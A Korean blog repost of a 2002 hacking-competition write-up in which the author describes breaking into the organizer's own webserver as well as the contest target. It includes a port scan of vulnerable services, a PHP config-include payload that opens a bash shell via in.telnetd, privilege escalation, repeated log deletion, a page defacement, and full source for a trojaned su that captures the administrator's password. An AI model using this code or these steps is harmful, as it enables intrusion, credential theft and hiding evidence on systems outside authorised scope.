나의 공간과 이야기

WOKSDOME Global Hacking Competition

Historymaker731 2015. 2. 5. 17:46

 

- WOKSDOME Global Hacking Competition -


 ===============================================================================================

 Thank you for your participation. The informations on the target server are shown below:
 
 IP Address of Target server : 210.183.179.112
 Target html(to alter) : the firt page screen (index.html)

 An Individual (or team) who first in time changes the index.html file
 by writing his/her own Registration number, ID, Identification No,
 and email on it will be a winner.

 P.S: 음... 나중에 제가 했던 작업을 잊어버릴까봐 이렇게 남겨둡니다.
      참고로, 아무렇게나 막써서 글의 두서가 없음. --;

 ===============================================================================================

 먼저 210.183.179.112번 Server가 공개되었습니다.
 공개형 smoothwall 프로그램이 설치되어 있더군요. 물론 port는 81번 하나였습니다.

 먼저 Server의 정보를 조회해본 결과,

 mod_ssl 취약한 버전을 사용하고 있더군요. SSL과 TLS 프로토콜의 모듈사이에 remote buffer overflow
 취약점은 이미 인터넷상에 발표되었습니다.
 Report Title: "Apache mod_ssl 2.8.3/Apache-SSL Buffer Overflow Vulnerability" 입니다.

 실제 source를 분석해본 결과 다른 report에서 증명하듯이 취약점은 존재하더군요.

 --- ssl_util_ssl.h: --------------------------------------------------------------------------
 
 #define SSL_SESSION_MAX_DER 1024*10

 --- ssl_scache_dbm.c: ------------------------------------------------------------------------
 
 BOOL ssl_scache_dbm_store(server_rec *s, UCHAR *id, int
              idlen, time_t expiry, SSL_SESSION *sess) {
 
 ...
 
 UCHAR ucaData[SSL_SESSION_MAX_DER];
 
 ...
 
 ucp = ucaData;
 nData = i2d_SSL_SESSION(sess, &ucp);

 ----------------------------------------------------------------------------------------------

 그러나 exploit하기에는 몇가지 난관이 있었습니다.
 그중 가장 치명적이었던것은 취약점을 이용하기 위해 먼저 획득해야 하는 Certificate Authority
 (Client, Server간의 상호인증)이 필요하다는 점이었습니다. 이것을 획득하고 나면 ssl 모듈의 권한으로
 remote command를 수행할수는 있습니다. 그러나 이것은 매우 힘든일이였습니다.

 문제의 smoothwall 역시, 여러가지 Apache 인증을 거치는것은 마찬가지였습니다.
 이것을 발견한 hacker들은 매우 다양한 brute-force를 시도했고, 대상 Server는 거의 기어다니는듯?
 했습니다. :-(
 
 다른 방법을 찾기 힘들다고 생각하고 있을 찰나에 Webserver(http://www.woksdome.org)가 해킹당했습니다.
 물론, Scanning도 한번 안해본 Server 였지만 전 매우 궁금했고 그쪽으로 관심이 쏠리기 시작했습니다.

 다음은 Scanning 당시 정보입니다.

 IP Address : 128.134.7.245
 Resolved : www.woksdome.org
 Operating System : Linux - RedHat 7.0


 - Open Ports (11):


       21 [ Ftp => File Transfer Protocol ]   
             220 BCA1OOPSRC2 FTP Server (ProFTPD Default Installation-WOW) [www.woksdome.org]

 *** Anonymous login OK ***
  
       22 [ Ssh => Remote Login Protocol ]   
             SSH-1.99-OpenSSH_2.3.0p1   

 *** OpenSSH 2.3 Channel Code Off-By-One remote bug OK ***

       23 [ Telnet => Remote Login Protocol ]   
             WOWLINUX Release 7.0 (AllLiEs)  

 *** Telnetd remote buffer overflow OK ***
 
       25 [ Smtp => Simple Mail Transfer Protocol ]   
             220 www.woksdome.org ESMTP Sendmail 8.11.0/8.11.0; Wed, 17 Apr 2002 21:23:37 +0900   

 *** Sendmail 8.11.0/8.11.0 - Multiple local bug ***

       79 [ Finger ]   
             Login Name Tty Idle Login Time Office Office Phone  

       Users (1): root
   
       Directory: /root Shell: /bin/bash   
       on since Sat Apr 13 18:25 (KST) on tty1 4 days idle   
       New mail received Wed Apr 17 21:01 2002 (KST)   
       Unread since Tue Apr 16 23:15 2002 (KST)   
       No Plan. 

       root root tty1 4d Apr 13 18:25   

 *** Cfingerd util-c buffer overflow OK ***
   
      Description : The cfingerd package versions 1.4.3
      and earlier is vulnerable to a buffer overflow in the util.c file   
      Bugtraq ID/URL : http://xforce.iss.net/static/6744.php

       80 [ Http => World Wide Web, HTTP ]   
             HTTP/1.1 200 OK   
             Date: Wed, 17 Apr 2002 12:23:37 GMT   
             Server: Apache/1.3.22 (Unix) PHP/4.1.2   
             X-Powered-By: PHP/4.1.2   
             Connection: close   
             Content-Type: text/html 

      PHP module running (web server)   
      Description : PHP is installed on this computer   

       111 [ SunRPC => SUN Remote Procedure Call ]   
             portmapper, Ver : 2, Proto : TCP, Port : 111   
             portmapper, Ver : 2, Proto : UDP, Port : 111   
             nlockmgr, Ver : 1, Proto : UDP, Port : 1024   
             nlockmgr, Ver : 3, Proto : UDP, Port : 1024   
             status, Ver : 1, Proto : UDP, Port : 1025   
             status, Ver : 1, Proto : TCP, Port : 1024   

 *** Rpc.statd remote format string OK ***

       113 [ identd => Authentication Service ]   
             0 , 0 : X-VERSION : pidentd 3.0.10 for Linux 2.2.5-22smp (Jul 20 2000 15:09:20)   

 *** Xinetd remote buffer overflow OK ***

       513 [ Login => Remote login (a la telnet) ]   

       514 [ Shell => cmd ]   

       515 [ printer => Printer Spooler ]

 *** Lprnd remote format string OK ***

 너무나도 많은 취약점이 존재했습니다.
 일반적으로 RedHat Default kit의 telnetd는 취약점을 가지고 있습니다.
 저는 exploit 했습니다. 마침내 shell을 얻고, Server 내부의 매우 복잡한 파일들을 보았습니다. ^^

 LKM을 설치할까하다 말았습니다. 솔직히 대회의도와 멀어진것이 분명하니 ...
 더이상 복잡하게 하고 싶지는 않았습니다. 다음 작업으로 시스템상에 존재하는 저의 모든 log를
 찾아지웠습니다.

 이는 단순히 Server의 내부권한을 획득하는것으로 그쳤습니다.
 그리고 대역대에 IP 65번의 BSD Server와 IP 126번의 Router를 발견할수 있었습니다.
 라우터 패스워드는 정말 쉽더군요. "root" 일반적인 추측으로도 가능한듯 했습니다.

 65번의 공격은 보류하기로 했습니다. 물론 라우터의 enable pass도 모르고 있기 때문에
 관리자쪽의 Server Password를 얻는것이 중요했습니다.

 저는 다시 Webserver를 공격해봤습니다. 웹쪽을 보니 정말 취약했습니다. --;
 board 디렉토리 경로에는 index page 자체가 없더군요.

 ===============================================================================================
 
 Parent Directory        16-Apr-2002 18:21      - 
 admin.php               10-Apr-2002 23:44     2k 
 admin_list.php          10-Apr-2002 23:44    16k 
 admin_viewbody.php      10-Apr-2002 23:44    11k 
 bdeleteform.php         10-Apr-2002 23:44     7k 
 blist.php               10-Apr-2002 23:44     1k 
 bmodifyform.php         10-Apr-2002 23:44     6k 
 board.cfg               10-Apr-2002 23:44     1k 
 board.php3              10-Apr-2002 23:44     1k 
 board.sql               10-Apr-2002 23:44     1k 
 board_css.css           10-Apr-2002 23:44     1k 
 board_files/            06-Apr-2002 19:45      - 
 board_icon.zip/         10-Apr-2002 07:33      - 
 board_icon/             09-Apr-2002 08:55      - 
 boardadmin.sql          10-Apr-2002 23:44     1k 
 bpostform.php           10-Apr-2002 23:44     3k 
 breplyform.php          10-Apr-2002 23:44     5k 
 bviewbody.php           10-Apr-2002 23:44    13k 
 con_bbs.sql             10-Apr-2002 23:44     1k 
 dbconn.php              10-Apr-2002 23:44     1k 
 del_mul_proc.php        10-Apr-2002 23:44     1k 
 delete.php              10-Apr-2002 23:44     3k 
 deleteform.php          10-Apr-2002 23:44     7k 
 edit.html               10-Apr-2002 23:44    31k 
 editimg/                06-Apr-2002 21:03      - 
 editor.html             10-Apr-2002 23:44     6k 
 footer.inc              10-Apr-2002 23:44     1k 
 get.php                 10-Apr-2002 23:44     4k 
 header.inc              10-Apr-2002 23:44     1k 
 htmlact.php             10-Apr-2002 23:44     5k 
 image/                  06-Apr-2002 21:03      - 
 list.inc                10-Apr-2002 23:45    15k 
 list.php                10-Apr-2002 23:45     7k 
 list_admin.php          10-Apr-2002 23:45     1k 
 menu_modify.php         10-Apr-2002 23:45     1k 
 menu_modifyform.php     10-Apr-2002 23:45    24k 
 modify.php              10-Apr-2002 23:45     3k 
 modifyform.php          10-Apr-2002 23:45     7k 
 modifyform_admin.php    10-Apr-2002 23:45    13k 
 post.php                10-Apr-2002 23:45     4k 
 post_admin.php          10-Apr-2002 23:45     4k 
 postform.php            10-Apr-2002 23:45     7k 
 postform_admin.php      10-Apr-2002 23:45     4k 
 reply.php               10-Apr-2002 23:45     2k 
 reply_admin.php         10-Apr-2002 23:45     7k 
 replyform.php           10-Apr-2002 23:45     7k 
 replyform_admin.php     10-Apr-2002 23:45     6k 
 select.php              10-Apr-2002 23:45     5k 
 sendmail.php            10-Apr-2002 23:45    11k 
 up_image/               10-Apr-2002 07:33      - 
 url_autolink.inc        10-Apr-2002 23:45     2k 
 user_function.inc       10-Apr-2002 23:45     4k 
 view_list.php           10-Apr-2002 23:45    16k 
 view_list_admin.php     10-Apr-2002 23:45    16k 
 view_reply.php          10-Apr-2002 23:45    15k 
 viewbody.php            10-Apr-2002 23:45     7k 
 viewbody_admin.php      10-Apr-2002 23:45    14k 

 ===============================================================================================

 우선 이중의 몇개의 파일을 검사해봤습니다. 그리고 금새 취약점을 찾아낼수 있었습니다.
 그것은 board 설정파일을 참조하는것, 바로 취약점이 일어나더군요.

 위에 board.cfg가 보입니다. 저는 한번 실제 PATH 대로 cfg를 읽어오는게 가능한지 확인해보았습니다.

 "?code=/usr/local/apache/htdocs/board/board"

 이런... "?code=board"와 같은 결과를 출력해줍니다. 이로써 공격의 가능성이 증명되었습니다.
 ftp에 접속하였습니다. anonymous로 파일업로드가 가능한것은 위의 Scan 결과를 토대로 알수 있습니다.
 그곳에 제가 만든임의의 cfg를 업로드 합니다.

 내용은 다음과 같이 단순했습니다.

 ...

 system("echo \"#!/bin/sh\n/bin/bash -i\n\" >/tmp/test;chmod 711 /tmp/test");
 system("/usr/sbin/in.telnetd -debug 60177 -L/tmp/test");

 ?>

 그리고 이 cfg파일을  읽어들였습니다.

 "?code=/var/ftp/code"

 아주 쉽게 Webserver의 60177번의 포트가 열렸습니다.
 저는 다시 Server에 접속할수 있었습니다. 그리고 내부의 setuid 취약점으로 root 권한을 얻었습니다.
 마찬가지로 관련 log를 찾아지웠습니다.

 이번에는 장난끼가 발동하여 실제로 관리자가 어느 정도까지 관리하는지를 살펴보았습니다.

 index.html에 흰색폰트로 다음과 같이 변경하였습니다.
 참고로 아래화면은 대회 첫날저녁부터 마지막날 오전까지 그대로였습니다.

 woksdome1.jpg

 관리자는 전혀 신경쓰지 않은듯합니다. :-] 어쨌든 저는 관리자가 사용중인 Password가 필요하다고
 생각하였습니다. 그 이유는 관리중인 Server들간의 Password는 거의 비슷한것이나 아니면 같은것을
 사용하기 때문이죠. 처음엔 shadow file를 빼내서 crack을 할까도 생각해보았습니다.

 하지만, 이것은 정말 엄청난 시간을 요구할것 같았습니다.
 그래서 저는 다른 방법을 생각해보았습니다.

 우선 다른 사람의 접속을 막기위해? 다음과 같이 약간의 daemon을 정리하고 permission을 조정했습니다.

 - board/ board_en/ permission check && touch index.html
 - Anonymous login closed
 -  Fingerd port closed
 -  SunRpcd port closed
 -    Lprnd port closed

 그리고, 마지막날 오전 10시까지 기다렸습니다.
 저는 다음 source를 실행하여 잠시동안 su 프로그램을 트로이목마로 변경시켰습니다.

 --- su.c source ------------------------------------------------------------------------------

 #!/bin/sh
 # make fake SU file ;-)

 (printf "\r\nNULL\r\n")|/bin/su;mv /bin/su /bin/su.bak

 cat > /bin/su.c << EOF
 #include
 #include

 main (int argc,char *argv[]) {

 FILE *fp;
 char passwd[20];
 printf("Password: ");
 system("stty -echo");
 scanf("%s",passwd);
 sleep(2);
 printf("\nsu: incorrect password\n");
 system("stty echo");
 if((fp=fopen("//usr//local//apache//htdocs//pass","a"))==NULL)
 {
 exit(0);
 }
 fprintf(fp, "ID : %s\n",argv[1]);
 fprintf(fp, "PASSWD : %s\n", passwd);
 fclose(fp);
 system("/bin/fake");
 }
 EOF

 # fake command :-D

 cat > /bin/fake.c << EOF
 main() { setuid(0); setgid(0);
 system("mv /bin/su.bak /bin/su;rm -rf /bin/fake");
 }
 EOF

 # Last Setting

 mv /bin/su /bin/su.bak
 gcc -o /bin/su /bin/su.c && rm -rf /bin/su.c
 gcc -o /bin/fake /bin/fake.c && rm -rf /bin/fake.c
 chmod 4755 /bin/fake; chmod 4755 /bin/su

 # EOF
 
 ----------------------------------------------------------------------------------------------

 문제는 관리자가 su command를 실행할수 있도록 하는것이였습니다.
 먼저 login 되있던 "kdworks" 사용자를 kill 했습니다. 그리고, 다시 login 하기를 기다렸습니다.
 
 아무래도 바로 login 하진 않더군요. 그래서 다른 방법을 생각해보았습니다.
 먼저, 관리자가 로그인하여 su command를 실행할수 있도록 저는 다음과 같이 WOKSDOME Webserver의
 page를 잠시동안 변경하였습니다.

 woksdome2.jpg

 chattr 읽기전용 mode를 만들어두고 "/usr/local/apache/htdocs/pass" 파일이
 생성될때까지 기다렸습니다. 마침내 제 예상대로 관리자는 5분도 안되어 로그인하였습니다.

 su command후 패스워드를 또박또박 정확히 넣으셨더군요. :-)

 ID : -
 PASSWD : xxxxxxxx
 
 저는 그 파일을 읽어들여 관리자 권한의 Password를 얻었습니다. 그후 바로 chattr을 unset한후
 얻은 Password를 다른 Server의 인증창에 대입해보았습니다.

 음... 그러나 결과는 WOKSDOME WebServer의 Password는 그 Webserver Password에 국한된것이었습니다.
 원래의 목적대로 Router enable pass를 얻는것은 불가능했고 또, 다른 Server의 Password 인증
 (특히 112번)을 통과할수 없었습니다.

 물론 Server의 log는 지속적으로 정리하였습니다. :-D
 
 참고로, 저는 112번을 공격하기 위해? Webserver의 필요성을 느꼈습니다. :-p

 그 다음 내용부터는 Secret !


 --
 By "you dong-hun" (Xpl017Elz),  in INetCop(c).
 home? http://x82.i21c.net - :-p